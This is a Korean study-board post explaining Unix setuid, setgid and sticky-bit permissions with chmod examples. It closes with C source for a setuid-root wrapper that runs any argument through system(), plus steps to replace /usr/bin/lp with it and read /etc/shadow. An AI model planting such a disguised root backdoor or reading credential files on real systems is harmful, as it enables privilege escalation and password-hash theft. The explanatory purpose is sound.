RadarURL

유닉스/리눅스
2015.05.27 18:55

SETUID, SETGID, Sticky Bit

조회 수 474 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부

setuid: short for set user id

setgid: short for set group id
 
setuid 와 getgid 는 일반 유저가 실행화일의 소유자 또는 그룹의 권한을 이용하여 실행할 수 있도록 하는 유닉스 접근 권한 플래그입니다. 특정 작업을 수행하기 위해서 일시적으로 상승된 권한을 이용하여 프로그램을 실행하기 위해 사용됩니다.
 
setuid on executables
 
이진 실행 화일에 setuid 속성이 있으면, 이 파일을 실행할 수 있는 권한을 가진 일반 유저가 생성된 프로세스 내에서 파일을 소유하고 있는 사용자 (일반적으로 root) 의 권한을 얻게 된다. 프로세스 내에서 루트 권한을 가지게 되면, 그 애플리케이션은 일반적인 사용자에게는 제한된 시스템의 기능을 수행할 수 있다.
 
사용자가 ptrace, LD_LIBRARY_PATH, 또는 시그널을 보내는 등의 방법을 사용하여 아무렇게나 새로운 프로세스를 변경하려는 시도는 시스템에 의해 금지될 것이다. 보안 결함으로 인해, 많은 OS 들이 실행가능한 셀 스크립트에 setuid 속성이 적용되어 있는 경우 이를 무시하고 있다.
 
setuid 기능이 여러 방면에 아주 유용한 반면에, 주의깊게 설계되지 않은 실행가능한 프로그램에 setuid 속성이 할당되어 있다면, 보안 리스크를 노출할 수 있다. 영구적인 상승 권한을 얻기 위해, 또는 의도적으로 트로잔 목마(trojan horse) 프로그램을 실행하기 위해 결함이 있는 프로그램의 취약성을 이용할 수 있다. 
 
setgid 속성은 setuid 속성이 사용자 기반 권한을 변경하는 것과 같이, 그룹 기반 권한을 변경할 수 있다.
 
setuid 와 setgid 비트는 보통 chmod 명령어를 이용하여 설정되고 최상위 값을 4 (setuid) 또는  2 (setgid) 로 설정한다. 'chmod 6711' 는 setuid 와 setgid 비트를 설정하고 파일 소유자는 read/write/executable 권한을, 그리고 그룹과 others는 executable 권한을 가지도록 한다. 모든 chmod 플래그는 8진수이고 최상위 8진수의 최하위 비트는 sticky bit 라고 알려진 특수한 모드에 사용된다. ('chmod 1755 temp' 와 같이 1이 sticky bit 를 설정한다.)
 
setuid and setgid on directories
 
setuid 와 setgid 플래그가 디렉토리에 대해서 설정될 때는 완전히 다른 의미를 가지게 된다.
 
디렉토리에 setgid 를 설정하는 것 (chmod g+s) 은 그 디렉토리 내에서 생성되는 새로운 파일과 서브 디렉토리가 그 파일을 생성한 사용자의 주 groupID(primary groudID) 대신 setgid 가 설정된 디렉토리의 groupID 를 상속하도록 한다. 새로 생성된 서브 디렉토리는 setgid 비트를 상속한다. 디렉토리에 setgid 권한을 설정하는 것은 setgid 비트가 설정된 이후에 새로 생성된 파일과 서브디렉토리에만 영향을 미친다는 것을 명심해야 한다. 
 
Security
 
이 비트를 사용하는 프로그램은 buffer overrun attack 에 당하지 않도록 주의깊게 설계되어야 한다. 
 
Sticky bit
 
- 모든 사용자가 읽고, 쓰고, 실행이 가능하다
- 단, sticky bit 퍼미션이 적용된 디렉토리에서는 누구나 파일을 쓰고 실행할 수 있지만, 파일 삭제는 오직 owner 만 할 수 있다.
- 나머지는 사용자의 퍼미션 값에 실행의 값인 'x'가 아닌 't' 기호가 대신 명시된다.
- 예)'chmod 1755 temp'
 
이상은 위키피디아를 번역한 내용에에 stick bit 내용만 조금 추가한 것입니다. 
 
아래는 보안 관련 카페에 게재된 소스이며 읽기 권한이 없는 경우에도 임시적으로 setuid 권한 (root 권한)을 가지고 읽을 수 있는 순간적인 권한 상승을 악용한 내용입니다.
 
main(int argc, char * argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);

    sprintf(exec, argv[1]);
    system(exec);
}
 
1. 소스 컴파일 
# gcc set.c -o lp
 
2. 권한 변경
# chmod 4777 lp
 
3. /usr/bin/lp 삭제
 
4. 컴파일된 lp 를 /usr/bin 로 복사
 
5. 해당 프로그램을 이용하여 shadow 파일 읽기
# /usr/bin/lp "cat /etc/shadow"
 
 
위 방법은 루팅된 안드로이드폰에서 su 권한을 가지도록 하는 프로그램에서도 동일하게 사용되었습니다. 아래의 superuser.zip 파일 안에 su.c 코드를 살펴보면 위와 동일하게 구현되어 있습니다. 앞단에 su 권한을 부여할 프로세스 관리를 위한 android activity 를 실행하는 것 외에는 말이죠.
 
 

 

참고

 

출처 : http://codemuri.tistory.com/entry/SETUID-SETGID-Sticky-Bit

TAG •
?

공부 게시판

공부에 도움되는 글을 올려주세요.

  1. [공지] 공부 게시판 입니다.

    Date2003.08.18 By처누 Views928104
    read more
  2. [U2L] Unix to Linux 기대효과 분석

    Date2023.05.16 Category유닉스/리눅스 ByJaeSoo Views1258
    Read More
  3. 리눅스 inodes full 이슈 해결 방법

    Date2023.05.02 Category유닉스/리눅스 ByJaeSoo Views169
    Read More
  4. inode full

    Date2023.05.01 Category유닉스/리눅스 ByJaeSoo Views115
    Read More
  5. 마이크로서비스 아키텍처(MSA) 개념 소개

    Date2023.01.26 Category유닉스/리눅스 ByJaeSoo Views170
    Read More
  6. 리눅스(Linux) 디렉토리 구조

    Date2016.10.20 Category유닉스/리눅스 ByJaeSoo Views693
    Read More
  7. ssh서버가 비밀번호를 거부했습니다. 다시 시도하십시오.

    Date2016.08.23 Category유닉스/리눅스 ByJaeSoo Views302
    Read More
  8. [리눅스] IP 설정 변경 하기

    Date2016.08.23 Category유닉스/리눅스 ByJaeSoo Views326
    Read More
  9. 리눅스 설치후 초기설정해야 할 것들 [2]

    Date2016.07.13 Category유닉스/리눅스 ByJaeSoo Views400
    Read More
  10. 리눅스 설치후 초기설정해야 할 것들 [1]

    Date2016.07.13 Category유닉스/리눅스 ByJaeSoo Views360
    Read More
  11. 쉘 프로그래밍을 이용한 시스템 관리 기법

    Date2016.05.12 Category유닉스/리눅스 ByJaeSoo Views679
    Read More
  12. AIX 자주 쓰이는 관리 명령 모음

    Date2016.05.12 Category유닉스/리눅스 ByJaeSoo Views615
    Read More
  13. AIX 시스템상의 core, SMT(Simultaneous Multi Threading) 수 확인하기

    Date2016.05.12 Category유닉스/리눅스 ByJaeSoo Views695
    Read More
  14. 리눅스 호스트명 변경

    Date2016.05.11 Category유닉스/리눅스 ByJaeSoo Views728
    Read More
  15. AIX 서버 기초

    Date2016.05.11 Category유닉스/리눅스 ByJaeSoo Views630
    Read More
  16. AIX Admin Study 교육 자료

    Date2016.05.11 Category유닉스/리눅스 ByJaeSoo Views715
    Read More
  17. 성능 엔지니어링 대한 접근 방법 (Performance tuning)

    Date2016.05.05 Category유닉스/리눅스 ByJaeSoo Views874
    Read More
  18. Linux/Unix용 nmon 설치 및 구성

    Date2016.05.04 Category유닉스/리눅스 ByJaeSoo Views773
    Read More
  19. [AIX] 파일시스템 관리 (du, df)

    Date2016.05.04 Category유닉스/리눅스 ByJaeSoo Views770
    Read More
  20. IBM AIX Admin (사용자 DISK 관리)

    Date2016.05.04 Category유닉스/리눅스 ByJaeSoo Views686
    Read More
  21. [UNIX] 유닉스 기본명령어

    Date2016.05.04 Category유닉스/리눅스 ByJaeSoo Views562
    Read More
Board Pagination Prev 1 2 3 4 5 6 7 8 9 Next
/ 9


즐겨찾기 (가족)

JAESOO's HOMEPAGE


YOUNGAE's HOMEPAGE


장여은 홈페이지


장여희 홈페이지


장여원 홈페이지


즐겨찾기 (업무)

알리카페 홀릭

숭실대 컴퓨터 통신연구실 (서창진)

말레이시아 KL Sentral 한국인 GuestHouse


즐겨찾기 (취미)

어드민아이디

유에코 사랑회

아스가르드 좋은사람/나쁜사람

JServer.kr

제이서버 메타블로그

재수 티스토리


즐겨찾기 (강의, 커뮤니티)

재수 강의 홈페이지


한소리


VTMODE.COM


숭실대 인공지능학과


숭실대 통신연구실


베너